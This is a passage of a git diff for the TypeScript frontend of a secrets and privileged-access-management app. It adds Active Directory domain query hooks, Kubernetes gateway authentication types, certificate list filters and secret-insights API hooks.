@@ -7,7 +7,6 @@ import {
   PamSessionStatus,
   TerminalChannelType
 } from "../enums";
-import { TActiveDirectoryAccount, TActiveDirectoryResource } from "./active-directory-resource";
 import { TAwsIamAccount, TAwsIamResource } from "./aws-iam-resource";
 import { TSessionSummaryConfig } from "./base-resource";
 import { TKubernetesAccount, TKubernetesResource } from "./kubernetes-resource";
@@ -19,7 +18,6 @@ import { TRedisAccount, TRedisResource } from "./redis-resource";
 import { TSSHAccount, TSSHResource } from "./ssh-resource";
 import { TWindowsAccount, TWindowsResource } from "./windows-server-resource";
 
-export * from "./active-directory-resource";
 export * from "./aws-iam-resource";
 export * from "./kubernetes-resource";
 export * from "./mongodb-resource";
@@ -39,8 +37,7 @@ export type TPamResource =
   | TSSHResource
   | TAwsIamResource
   | TKubernetesResource
-  | TWindowsResource
-  | TActiveDirectoryResource;
+  | TWindowsResource;
 
 export type TPamAccount =
   | TPostgresAccount
@@ -51,8 +48,7 @@ export type TPamAccount =
   | TSSHAccount
   | TAwsIamAccount
   | TKubernetesAccount
-  | TWindowsAccount
-  | TActiveDirectoryAccount;
+  | TWindowsAccount;
 
 export type TPamFolder = {
   id: string;
@@ -128,9 +124,11 @@ export type TPamSession = {
   updatedAt: string;
   logs: TPamSessionLog[];
   gatewayIdentityId?: string | null;
+  gatewayId?: string | null;
   aiInsightsStatus?: string | null;
   aiInsightsError?: string | null;
   aiInsights?: TPamSessionAiInsights | null;
+  reason?: string | null;
 };
 
 // Resource DTOs
@@ -149,7 +147,7 @@ export type TCreatePamResourceDTO = Pick<
   TPamResource,
   "name" | "connectionDetails" | "resourceType" | "gatewayId" | "projectId"
 > & {
-  adServerResourceId?: string | null;
+  domainId?: string | null;
   metadata?: { key: string; value: string }[];
 };
 
@@ -160,7 +158,7 @@ export type TUpdatePamResourceDTO = Partial<
 > & {
   resourceId: string;
   resourceType: PamResourceType;
-  adServerResourceId?: string | null;
+  domainId?: string | null;
   metadata?: { key: string; value: string }[];
   rotationAccountCredentials?: { username: string; password: string } | null;
   sessionSummaryConfig?: TSessionSummaryConfig;
@@ -181,6 +179,7 @@ export type TListPamAccountsDTO = {
   orderDirection?: OrderByDirection;
   search?: string;
   filterResourceIds?: string;
+  filterDomainIds?: string;
   metadataFilter?: Array<{ key: string; value?: string }>;
 };
 
@@ -188,7 +187,8 @@ export type TCreatePamAccountDTO = Pick<
   TPamAccount,
   "name" | "description" | "credentials" | "projectId" | "resourceId" | "folderId" | "requireMfa"
 > & {
-  resourceType: PamResourceType;
+  parentType: string;
+  domainId?: string;
   internalMetadata?: Record<string, unknown>;
   metadata?: { key: string; value: string }[];
   policyId?: string | null;
@@ -198,7 +198,7 @@ export type TUpdatePamAccountDTO = Partial<
   Pick<TPamAccount, "name" | "description" | "credentials" | "requireMfa">
 > & {
   accountId: string;
-  resourceType: PamResourceType;
+  parentType: string;
   internalMetadata?: Record<string, unknown>;
   metadata?: { key: string; value: string }[];
   policyId?: string | null;
@@ -206,7 +206,7 @@ export type TUpdatePamAccountDTO = Partial<
 
 export type TDeletePamAccountDTO = {
   accountId: string;
-  resourceType: PamResourceType;
+  parentType: string;
 };
 
 // Folder DTOs
@@ -294,11 +294,12 @@ export type TPamSessionLogsPage = {
 // Account Policy types
 export enum PamAccountPolicyRuleType {
   CommandBlocking = "command-blocking",
-  SessionLogMasking = "session-log-masking"
+  SessionLogMasking = "session-log-masking",
+  RequireReason = "require-reason"
 }
 
 export type TPamAccountPolicyRuleConfig = {
-  patterns: string[];
+  patterns?: string[];
 };
 
 export type TPamAccountPolicyRules = Partial<
diff --git a/frontend/src/hooks/api/pam/types/kubernetes-resource.ts b/frontend/src/hooks/api/pam/types/kubernetes-resource.ts
index b7e1501d5f5..a8aa34b8517 100644
--- a/frontend/src/hooks/api/pam/types/kubernetes-resource.ts
+++ b/frontend/src/hooks/api/pam/types/kubernetes-resource.ts
@@ -3,7 +3,8 @@ import { TBasePamAccount } from "./base-account";
 import { TBasePamResource } from "./base-resource";
 
 export enum KubernetesAuthMethod {
-  ServiceAccountToken = "service-account-token"
+  ServiceAccountToken = "service-account-token",
+  GatewayKubernetesAuth = "gateway-kubernetes-auth"
 }
 
 export type TKubernetesConnectionDetails = {
@@ -17,7 +18,15 @@ export type TKubernetesServiceAccountTokenCredentials = {
   serviceAccountToken: string;
 };
 
-export type TKubernetesCredentials = TKubernetesServiceAccountTokenCredentials;
+export type TKubernetesGatewayAuthCredentials = {
+  authMethod: KubernetesAuthMethod.GatewayKubernetesAuth;
+  namespace: string;
+  serviceAccountName: string;
+};
+
+export type TKubernetesCredentials =
+  | TKubernetesServiceAccountTokenCredentials
+  | TKubernetesGatewayAuthCredentials;
 
 // Resources
 export type TKubernetesResource = TBasePamResource & {
diff --git a/frontend/src/hooks/api/pam/types/active-directory-resource.ts b/frontend/src/hooks/api/pamDomain/active-directory-types.ts
similarity index 59%
rename from frontend/src/hooks/api/pam/types/active-directory-resource.ts
rename to frontend/src/hooks/api/pamDomain/active-directory-types.ts
index 9e627f8bc0e..5a8a26c90a7 100644
--- a/frontend/src/hooks/api/pam/types/active-directory-resource.ts
+++ b/frontend/src/hooks/api/pamDomain/active-directory-types.ts
@@ -1,7 +1,3 @@
-import { PamResourceType } from "../enums";
-import { TBasePamAccount } from "./base-account";
-import { TBasePamResource } from "./base-resource";
-
 export enum ActiveDirectoryAccountType {
   User = "user",
   Service = "service"
@@ -30,16 +26,17 @@ export type TActiveDirectoryAccountInternalMetadata = {
   lastLogon?: string;
 };
 
-// Resources
-export type TActiveDirectoryResource = TBasePamResource & {
-  resourceType: PamResourceType.ActiveDirectory;
-} & {
-  connectionDetails: TActiveDirectoryConnectionDetails;
-  rotationAccountCredentials?: TActiveDirectoryCredentials | null;
-};
-
-// Accounts
-export type TActiveDirectoryAccount = TBasePamAccount & {
+export type TActiveDirectoryAccount = {
+  id: string;
+  name: string;
+  description?: string | null;
+  projectId: string;
+  resourceId?: string | null;
+  domainId?: string | null;
+  folderId?: string | null;
+  requireMfa: boolean;
+  createdAt: string;
+  updatedAt: string;
   credentials: TActiveDirectoryCredentials;
   internalMetadata: TActiveDirectoryAccountInternalMetadata;
 };
diff --git a/frontend/src/hooks/api/pamDomain/enums.ts b/frontend/src/hooks/api/pamDomain/enums.ts
new file mode 100644
index 00000000000..03fcd18cad1
--- /dev/null
+++ b/frontend/src/hooks/api/pamDomain/enums.ts
@@ -0,0 +1,7 @@
+export enum PamDomainType {
+  ActiveDirectory = "active-directory"
+}
+
+export enum PamDomainOrderBy {
+  Name = "name"
+}
diff --git a/frontend/src/hooks/api/pamDomain/index.ts b/frontend/src/hooks/api/pamDomain/index.ts
new file mode 100644
index 00000000000..01197819d00
--- /dev/null
+++ b/frontend/src/hooks/api/pamDomain/index.ts
@@ -0,0 +1,6 @@
+export * from "./active-directory-types";
+export * from "./enums";
+export * from "./maps";
+export * from "./mutations";
+export * from "./queries";
+export * from "./types";
diff --git a/frontend/src/hooks/api/pamDomain/maps.ts b/frontend/src/hooks/api/pamDomain/maps.ts
new file mode 100644
index 00000000000..b64baec6064
--- /dev/null
+++ b/frontend/src/hooks/api/pamDomain/maps.ts
@@ -0,0 +1,8 @@
+import { PamDomainType } from "./enums";
+
+export const PAM_DOMAIN_TYPE_MAP: Record<PamDomainType, { name: string; image: string }> = {
+  [PamDomainType.ActiveDirectory]: {
+    name: "Active Directory",
+    image: "ActiveDirectory.png"
+  }
+};
diff --git a/frontend/src/hooks/api/pamDomain/mutations.tsx b/frontend/src/hooks/api/pamDomain/mutations.tsx
new file mode 100644
index 00000000000..ad55891fb2d
--- /dev/null
+++ b/frontend/src/hooks/api/pamDomain/mutations.tsx
@@ -0,0 +1,53 @@
+import { useMutation, useQueryClient } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { pamDomainKeys } from "./queries";
+import { TCreatePamDomainDTO, TDeletePamDomainDTO, TPamDomain, TUpdatePamDomainDTO } from "./types";
+
+export const useCreatePamDomain = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ domainType, ...body }: TCreatePamDomainDTO) => {
+      const { data } = await apiRequest.post<{ domain: TPamDomain }>(
+        `/api/v1/pam/domains/${domainType}`,
+        body
+      );
+      return data.domain;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: pamDomainKeys.domain() });
+    }
+  });
+};
+
+export const useUpdatePamDomain = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ domainType, domainId, ...body }: TUpdatePamDomainDTO) => {
+      const { data } = await apiRequest.patch<{ domain: TPamDomain }>(
+        `/api/v1/pam/domains/${domainType}/${domainId}`,
+        body
+      );
+      return data.domain;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: pamDomainKeys.domain() });
+    }
+  });
+};
+
+export const useDeletePamDomain = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({ domainType, domainId }: TDeletePamDomainDTO) => {
+      const { data } = await apiRequest.delete<{ domain: TPamDomain }>(
+        `/api/v1/pam/domains/${domainType}/${domainId}`
+      );
+      return data.domain;
+    },
+    onSuccess: () => {
+      queryClient.invalidateQueries({ queryKey: pamDomainKeys.domain() });
+    }
+  });
+};
diff --git a/frontend/src/hooks/api/pamDomain/queries.tsx b/frontend/src/hooks/api/pamDomain/queries.tsx
new file mode 100644
index 00000000000..5e71ad4f20b
--- /dev/null
+++ b/frontend/src/hooks/api/pamDomain/queries.tsx
@@ -0,0 +1,88 @@
+import { useQuery, UseQueryOptions } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { PamDomainType } from "./enums";
+import { TListPamDomainsDTO, TPamDomain, TPamDomainRelatedResource } from "./types";
+
+export const pamDomainKeys = {
+  all: ["pam-domain"] as const,
+  domain: () => [...pamDomainKeys.all, "domain"] as const,
+  listDomainOptions: () => [...pamDomainKeys.domain(), "options"] as const,
+  listDomains: ({ projectId, ...params }: TListPamDomainsDTO) => [
+    ...pamDomainKeys.domain(),
+    "list",
+    projectId,
+    params
+  ],
+  getDomain: (domainType: string, domainId: string) => [
+    ...pamDomainKeys.domain(),
+    "get",
+    domainType,
+    domainId
+  ],
+  listRelatedResources: (domainId: string) => [...pamDomainKeys.domain(), "related", domainId]
+};
+
+export const useListPamDomainOptions = () => {
+  return useQuery({
+    queryKey: pamDomainKeys.listDomainOptions(),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<{
+        options: Array<{ name: string; domain: string }>;
+      }>("/api/v1/pam/domains/options");
+
+      return data.options;
+    }
+  });
+};
+
+export const useListPamDomains = (params: TListPamDomainsDTO) => {
+  return useQuery({
+    queryKey: pamDomainKeys.listDomains(params),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<{
+        domains: TPamDomain[];
+        totalCount: number;
+      }>("/api/v1/pam/domains", { params });
+      return data;
+    },
+    enabled: !!params.projectId
+  });
+};
+
+export const useGetPamDomainById = (
+  domainType: PamDomainType | string,
+  domainId: string | undefined,
+  options?: Omit<UseQueryOptions<TPamDomain>, "queryKey" | "queryFn">
+) => {
+  return useQuery({
+    queryKey: pamDomainKeys.getDomain(domainType, domainId || ""),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<{ domain: TPamDomain }>(
+        `/api/v1/pam/domains/${domainType}/${domainId}`
+      );
+      return data.domain;
+    },
+    enabled: !!domainId && !!domainType,
+    ...options
+  });
+};
+
+export const useListDomainRelatedResources = (
+  domainType: PamDomainType | string,
+  domainId: string | undefined,
+  options?: Omit<UseQueryOptions<TPamDomainRelatedResource[]>, "queryKey" | "queryFn">
+) => {
+  return useQuery({
+    queryKey: pamDomainKeys.listRelatedResources(domainId || ""),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<{ resources: TPamDomainRelatedResource[] }>(
+        `/api/v1/pam/domains/${domainType}/${domainId}/related-resources`
+      );
+      return data.resources;
+    },
+    enabled: !!domainId && !!domainType,
+    ...options
+  });
+};
diff --git a/frontend/src/hooks/api/pamDomain/types.ts b/frontend/src/hooks/api/pamDomain/types.ts
new file mode 100644
index 00000000000..ac718071870
--- /dev/null
+++ b/frontend/src/hooks/api/pamDomain/types.ts
@@ -0,0 +1,61 @@
+import { TActiveDirectoryConnectionDetails } from "./active-directory-types";
+import { PamDomainType } from "./enums";
+
+export type TBasePamDomain = {
+  id: string;
+  projectId: string;
+  name: string;
+  domainType: PamDomainType;
+  gatewayId?: string | null;
+  createdAt: string;
+  updatedAt: string;
+  metadata?: Array<{ id: string; key: string; value: string }>;
+};
+
+export type TActiveDirectoryDomain = TBasePamDomain & {
+  domainType: PamDomainType.ActiveDirectory;
+  connectionDetails: TActiveDirectoryConnectionDetails;
+};
+
+export type TPamDomain = TActiveDirectoryDomain;
+
+export type TListPamDomainsDTO = {
+  projectId: string;
+  search?: string;
+  limit?: number;
+  offset?: number;
+  orderBy?: string;
+  orderDirection?: "asc" | "desc";
+  filterDomainTypes?: string;
+  discoveryFingerprint?: string;
+};
+
+export type TCreatePamDomainDTO = {
+  domainType: PamDomainType;
+  projectId: string;
+  name: string;
+  gatewayId: string;
+  connectionDetails: TActiveDirectoryConnectionDetails;
+  metadata?: Array<{ key: string; value?: string }>;
+};
+
+export type TUpdatePamDomainDTO = {
+  domainType: PamDomainType;
+  domainId: string;
+  name?: string;
+  gatewayId?: string;
+  connectionDetails?: TActiveDirectoryConnectionDetails;
+  metadata?: Array<{ key: string; value?: string }>;
+};
+
+export type TDeletePamDomainDTO = {
+  domainType: PamDomainType;
+  domainId: string;
+};
+
+export type TPamDomainRelatedResource = {
+  id: string;
+  name: string;
+  resourceType: string;
+  projectId: string;
+};
diff --git a/frontend/src/hooks/api/projects/queries.tsx b/frontend/src/hooks/api/projects/queries.tsx
index 0cd378d1175..19e6772cdd7 100644
--- a/frontend/src/hooks/api/projects/queries.tsx
+++ b/frontend/src/hooks/api/projects/queries.tsx
@@ -199,7 +199,7 @@ export const useGetWorkspaceIntegrations = (
     queryKey: projectKeys.getProjectIntegrations(projectId),
     queryFn: () => fetchWorkspaceIntegrations(projectId),
     enabled: Boolean(projectId) && (options?.enabled ?? true),
-    refetchInterval: options?.refetchInterval ?? 4000
+    refetchInterval: options?.refetchInterval ?? 30_000
   });
 
 export const createWorkspace = (
@@ -522,7 +522,19 @@ export const useListWorkspaceCertificates = ({
   fromDate,
   toDate,
   metadataFilter,
-  extendedKeyUsage
+  extendedKeyUsage,
+  keyAlgorithm,
+  signatureAlgorithm,
+  keySizes,
+  caIds,
+  enrollmentTypes,
+  source,
+  notAfterFrom,
+  notAfterTo,
+  notBeforeFrom,
+  notBeforeTo,
+  sortBy,
+  sortOrder
 }: {
   projectId: string;
   offset: number;
@@ -537,6 +549,18 @@ export const useListWorkspaceCertificates = ({
   toDate?: Date;
   metadataFilter?: Array<{ key: string; value?: string }>;
   extendedKeyUsage?: string;
+  keyAlgorithm?: string | string[];
+  signatureAlgorithm?: string;
+  keySizes?: number[];
+  caIds?: string[];
+  enrollmentTypes?: string[];
+  source?: string | string[];
+  notAfterFrom?: Date;
+  notAfterTo?: Date;
+  notBeforeFrom?: Date;
+  notBeforeTo?: Date;
+  sortBy?: string;
+  sortOrder?: "asc" | "desc";
 }) => {
   return useQuery({
     queryKey: projectKeys.specificProjectCertificates({
@@ -552,7 +576,19 @@ export const useListWorkspaceCertificates = ({
       fromDate,
       toDate,
       metadataFilter,
-      extendedKeyUsage
+      extendedKeyUsage,
+      keyAlgorithm,
+      signatureAlgorithm,
+      keySizes,
+      caIds,
+      enrollmentTypes,
+      source,
+      notAfterFrom,
+      notAfterTo,
+      notBeforeFrom,
+      notBeforeTo,
+      sortBy,
+      sortOrder
     }),
     queryFn: async () => {
       const {
@@ -571,7 +607,19 @@ export const useListWorkspaceCertificates = ({
           ...(fromDate && { fromDate: fromDate.toISOString() }),
           ...(toDate && { toDate: toDate.toISOString() }),
           ...(metadataFilter && metadataFilter.length > 0 && { metadata: metadataFilter }),
-          ...(extendedKeyUsage && { extendedKeyUsage })
+          ...(extendedKeyUsage && { extendedKeyUsage }),
+          ...(keyAlgorithm && { keyAlgorithm }),
+          ...(signatureAlgorithm && { signatureAlgorithm }),
+          ...(keySizes && keySizes.length > 0 && { keySizes }),
+          ...(caIds && caIds.length > 0 && { caIds }),
+          ...(enrollmentTypes && enrollmentTypes.length > 0 && { enrollmentTypes }),
+          ...(source && { source }),
+          ...(notAfterFrom && { notAfterFrom: notAfterFrom.toISOString() }),
+          ...(notAfterTo && { notAfterTo: notAfterTo.toISOString() }),
+          ...(notBeforeFrom && { notBeforeFrom: notBeforeFrom.toISOString() }),
+          ...(notBeforeTo && { notBeforeTo: notBeforeTo.toISOString() }),
+          ...(sortBy && { sortBy }),
+          ...(sortOrder && { sortOrder })
         }
       );
 
diff --git a/frontend/src/hooks/api/projects/query-keys.tsx b/frontend/src/hooks/api/projects/query-keys.tsx
index 8eea9a64dc2..eaaae4027bc 100644
--- a/frontend/src/hooks/api/projects/query-keys.tsx
+++ b/frontend/src/hooks/api/projects/query-keys.tsx
@@ -54,7 +54,19 @@ export const projectKeys = {
     fromDate,
     toDate,
     metadataFilter,
-    extendedKeyUsage
+    extendedKeyUsage,
+    keyAlgorithm,
+    signatureAlgorithm,
+    keySizes,
+    caIds,
+    enrollmentTypes,
+    source,
+    notAfterFrom,
+    notAfterTo,
+    notBeforeFrom,
+    notBeforeTo,
+    sortBy,
+    sortOrder
   }: {
     projectId: string;
     offset: number;
@@ -69,6 +81,18 @@ export const projectKeys = {
     toDate?: Date;
     metadataFilter?: Array<{ key: string; value?: string }>;
     extendedKeyUsage?: string;
+    keyAlgorithm?: string | string[];
+    signatureAlgorithm?: string;
+    keySizes?: number[];
+    caIds?: string[];
+    enrollmentTypes?: string[];
+    source?: string | string[];
+    notAfterFrom?: Date;
+    notAfterTo?: Date;
+    notBeforeFrom?: Date;
+    notBeforeTo?: Date;
+    sortBy?: string;
+    sortOrder?: "asc" | "desc";
   }) =>
     [
       ...projectKeys.forProjectCertificates(projectId),
@@ -84,7 +108,19 @@ export const projectKeys = {
         fromDate,
         toDate,
         metadataFilter,
-        extendedKeyUsage
+        extendedKeyUsage,
+        keyAlgorithm,
+        signatureAlgorithm,
+        keySizes,
+        caIds,
+        enrollmentTypes,
+        source,
+        notAfterFrom,
+        notAfterTo,
+        notBeforeFrom,
+        notBeforeTo,
+        sortBy,
+        sortOrder
       }
     ] as const,
   getProjectPkiAlerts: (projectId: string) => [{ projectId }, "project-pki-alerts"] as const,
diff --git a/frontend/src/hooks/api/reactQuery.tsx b/frontend/src/hooks/api/reactQuery.tsx
index b80393cf51f..b7a558dad27 100644
--- a/frontend/src/hooks/api/reactQuery.tsx
+++ b/frontend/src/hooks/api/reactQuery.tsx
@@ -220,7 +220,8 @@ export const queryClient = new QueryClient({
   defaultOptions: {
     queries: {
       refetchOnWindowFocus: false,
-      retry: 1
+      retry: 1,
+      staleTime: 60_000 // 60s — prevents refetch on every component mount/remount
     }
   }
 });
diff --git a/frontend/src/hooks/api/secretApprovalRequest/mutation.tsx b/frontend/src/hooks/api/secretApprovalRequest/mutation.tsx
index 6a03b431cab..fb90469f4b8 100644
--- a/frontend/src/hooks/api/secretApprovalRequest/mutation.tsx
+++ b/frontend/src/hooks/api/secretApprovalRequest/mutation.tsx
@@ -20,8 +20,12 @@ export const useUpdateSecretApprovalReviewStatus = () => {
       });
       return data;
     },
-    onSuccess: (_, { id }) => {
+    onSuccess: (_, { id, projectId }) => {
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.detail({ id }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
+      queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
     }
   });
 };
@@ -38,6 +42,9 @@ export const useUpdateSecretApprovalRequestStatus = () => {
     },
     onSuccess: (_, { id, projectId }) => {
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.detail({ id }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
     }
   });
@@ -55,7 +62,9 @@ export const usePerformSecretApprovalRequestMerge = () => {
     },
     onSuccess: (_, { id, projectId }) => {
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.detail({ id }) });
-      queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.list({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
     }
   });
diff --git a/frontend/src/hooks/api/secretApprovalRequest/queries.tsx b/frontend/src/hooks/api/secretApprovalRequest/queries.tsx
index 63cdd455e21..c5514e7975f 100644
--- a/frontend/src/hooks/api/secretApprovalRequest/queries.tsx
+++ b/frontend/src/hooks/api/secretApprovalRequest/queries.tsx
@@ -26,6 +26,8 @@ export const secretApprovalRequestKeys = {
       { projectId, environment, status, committer, offset, limit, search },
       "secret-approval-requests"
     ] as const,
+  listAllForProject: ({ projectId }: { projectId: string }) =>
+    [{ projectId }, "secret-approval-requests"] as const,
   detail: ({ id }: Omit<TGetSecretApprovalRequestDetails, "decryptKey">) =>
     [{ id }, "secret-approval-request-detail"] as const,
   count: ({ projectId, policyId }: TGetSecretApprovalRequestCount) => [
@@ -155,7 +157,8 @@ export const useGetSecretApprovalRequestCount = ({
 }) =>
   useQuery({
     queryKey: secretApprovalRequestKeys.count({ projectId, policyId }),
-    refetchInterval: 15000,
     queryFn: () => fetchSecretApprovalRequestCount({ projectId, policyId }),
-    enabled: Boolean(projectId) && (options?.enabled ?? true)
+    ...options,
+    enabled: Boolean(projectId) && (options?.enabled ?? true),
+    refetchInterval: options?.refetchInterval ?? 30_000
   });
diff --git a/frontend/src/hooks/api/secretApprovalRequest/types.ts b/frontend/src/hooks/api/secretApprovalRequest/types.ts
index 38bd1c27969..e65d3de5e3e 100644
--- a/frontend/src/hooks/api/secretApprovalRequest/types.ts
+++ b/frontend/src/hooks/api/secretApprovalRequest/types.ts
@@ -134,6 +134,7 @@ export type TUpdateSecretApprovalReviewStatusDTO = {
   status: ApprovalStatus;
   comment?: string;
   id: string;
+  projectId: string;
 };
 
 export type TUpdateSecretApprovalRequestStatusDTO = {
diff --git a/frontend/src/hooks/api/secretInsights/index.ts b/frontend/src/hooks/api/secretInsights/index.ts
new file mode 100644
index 00000000000..6f6a248854a
--- /dev/null
+++ b/frontend/src/hooks/api/secretInsights/index.ts
@@ -0,0 +1,23 @@
+export {
+  useGetAuthMethodDistribution,
+  useGetCalendarInsights,
+  useGetInsightsSummary,
+  // useGetSecretAccessLocations,
+  useGetSecretAccessVolume
+} from "./queries";
+export type {
+  TAccessLocation,
+  TAuthMethodCount,
+  TCalendarReminder,
+  TCalendarRotation,
+  TGetAuthMethodDistributionDTO,
+  TGetAuthMethodDistributionResponse,
+  TGetCalendarInsightsDTO,
+  TGetCalendarInsightsResponse,
+  TGetSecretAccessLocationsDTO,
+  TGetSecretAccessLocationsResponse,
+  TGetSecretAccessVolumeDTO,
+  TGetSecretAccessVolumeResponse,
+  TSecretAccessVolumeActor,
+  TSecretAccessVolumeDay
+} from "./types";
diff --git a/frontend/src/hooks/api/secretInsights/queries.tsx b/frontend/src/hooks/api/secretInsights/queries.tsx
new file mode 100644
index 00000000000..c0d72b17053
--- /dev/null
+++ b/frontend/src/hooks/api/secretInsights/queries.tsx
@@ -0,0 +1,162 @@
+import { useQuery, UseQueryOptions } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import {
+  TGetAuthMethodDistributionDTO,
+  TGetAuthMethodDistributionResponse,
+  TGetCalendarInsightsDTO,
+  TGetCalendarInsightsResponse,
+  TGetInsightsSummaryDTO,
+  TGetInsightsSummaryResponse,
+  // TGetSecretAccessLocationsDTO,
+  // TGetSecretAccessLocationsResponse,
+  TGetSecretAccessVolumeDTO,
+  TGetSecretAccessVolumeResponse
+} from "./types";
+
+export const secretInsightsKeys = {
+  all: () => ["secret-insights"] as const,
+  calendarEvents: (params: TGetCalendarInsightsDTO) =>
+    [...secretInsightsKeys.all(), "calendar-events", params] as const,
+  accessVolume: (params: TGetSecretAccessVolumeDTO) =>
+    [...secretInsightsKeys.all(), "access-volume", params] as const,
+  // accessLocations: (params: TGetSecretAccessLocationsDTO) =>
+  //   [...secretInsightsKeys.all(), "access-locations", params] as const,
+  authMethodDistribution: (params: TGetAuthMethodDistributionDTO) =>
+    [...secretInsightsKeys.all(), "auth-method-distribution", params] as const,
+  summary: (params: TGetInsightsSummaryDTO) =>
+    [...secretInsightsKeys.all(), "summary", params] as const
+};
+
+const INSIGHTS_STALE_TIME = 5 * 60 * 1000; // 5 minutes
+
+export const useGetCalendarInsights = (
+  params: TGetCalendarInsightsDTO,
+  options?: Omit<
+    UseQueryOptions<
+      TGetCalendarInsightsResponse,
+      unknown,
+      TGetCalendarInsightsResponse,
+      ReturnType<typeof secretInsightsKeys.calendarEvents>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: secretInsightsKeys.calendarEvents(params),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TGetCalendarInsightsResponse>(
+        "/api/v1/insights/secrets/calendar",
+        { params }
+      );
+      return data;
+    },
+    staleTime: INSIGHTS_STALE_TIME,
+    ...options
+  });
+};
+
+export const useGetSecretAccessVolume = (
+  params: TGetSecretAccessVolumeDTO,
+  options?: Omit<
+    UseQueryOptions<
+      TGetSecretAccessVolumeResponse,
+      unknown,
+      TGetSecretAccessVolumeResponse,
+      ReturnType<typeof secretInsightsKeys.accessVolume>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: secretInsightsKeys.accessVolume(params),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TGetSecretAccessVolumeResponse>(
+        "/api/v1/insights/secrets/access-volume",
+        { params }
+      );
+      return data;
+    },
+    staleTime: INSIGHTS_STALE_TIME,
+    ...options
+  });
+};
+
+// export const useGetSecretAccessLocations = (
+//   params: TGetSecretAccessLocationsDTO,
+//   options?: Omit<
+//     UseQueryOptions<
+//       TGetSecretAccessLocationsResponse,
+//       unknown,
+//       TGetSecretAccessLocationsResponse,
+//       ReturnType<typeof secretInsightsKeys.accessLocations>
+//     >,
+//     "queryKey" | "queryFn"
+//   >
+// ) => {
+//   return useQuery({
+//     queryKey: secretInsightsKeys.accessLocations(params),
+//     queryFn: async () => {
+//       const { data } = await apiRequest.get<TGetSecretAccessLocationsResponse>(
+//         "/api/v1/insights/secrets/access-locations",
+//         { params }
+//       );
+//       return data;
+//     },
+//     staleTime: INSIGHTS_STALE_TIME,
+//     ...options
+//   });
+// };
+
+export const useGetAuthMethodDistribution = (
+  params: TGetAuthMethodDistributionDTO,
+  options?: Omit<
+    UseQueryOptions<
+      TGetAuthMethodDistributionResponse,
+      unknown,
+      TGetAuthMethodDistributionResponse,
+      ReturnType<typeof secretInsightsKeys.authMethodDistribution>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: secretInsightsKeys.authMethodDistribution(params),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TGetAuthMethodDistributionResponse>(
+        "/api/v1/insights/auth/method-distribution",
+        { params }
+      );
+      return data;
+    },
+    staleTime: INSIGHTS_STALE_TIME,
+    ...options
+  });
+};
+
+export const useGetInsightsSummary = (
+  params: TGetInsightsSummaryDTO,
+  options?: Omit<
+    UseQueryOptions<
+      TGetInsightsSummaryResponse,
+      unknown,
+      TGetInsightsSummaryResponse,
+      ReturnType<typeof secretInsightsKeys.summary>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: secretInsightsKeys.summary(params),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TGetInsightsSummaryResponse>(
+        "/api/v1/insights/secrets/summary",
+        { params }
+      );
+      return data;
+    },
+    staleTime: INSIGHTS_STALE_TIME,
+    ...options
+  });
+};
diff --git a/frontend/src/hooks/api/secretInsights/types.ts b/frontend/src/hooks/api/secretInsights/types.ts
new file mode 100644
index 00000000000..71f6909fa38
--- /dev/null
+++ b/frontend/src/hooks/api/secretInsights/types.ts
@@ -0,0 +1,122 @@
+export type TCalendarRotation = {
+  id: string;
+  name: string;
+  type: string;
+  nextRotationAt: string | null;
+  environment: string;
+  secretPath: string;
+  secretKeys: string[];
+  rotationInterval: number;
+  rotationStatus: string | null;
+  isAutoRotationEnabled: boolean;
+};
+
+export type TCalendarReminder = {
+  id: string;
+  secretId: string | null;
+  secretKey: string;
+  nextReminderDate: string;
+  message?: string | null;
+  environment: string;
+  secretPath: string;
+  repeatDays?: number | null;
+};
+
+export type TGetCalendarInsightsDTO = {
+  projectId: string;
+  month: number;
+  year: number;
+};
+
+export type TGetCalendarInsightsResponse = {
+  rotations: TCalendarRotation[];
+  reminders: TCalendarReminder[];
+};
+
+export type TSecretAccessVolumeActor = {
+  name: string;
+  type: string;
+  count: number;
+};
+
+export type TSecretAccessVolumeDay = {
+  date: string;
+  total: number;
+  actors: TSecretAccessVolumeActor[];
+};
+
+export type TGetSecretAccessVolumeDTO = {
+  projectId: string;
+};
+
+export type TGetInsightsSummaryDTO = {
+  projectId: string;
+  staleSecretsOffset?: number;
+  staleSecretsLimit?: number;
+};
+
+export type TInsightRotationItem = {
+  name: string;
+  environment: string;
+  secretPath: string;
+  nextRotationAt: string | null;
+  rotationStatus: string | null;
+};
+
+export type TInsightReminderItem = {
+  secretKey: string;
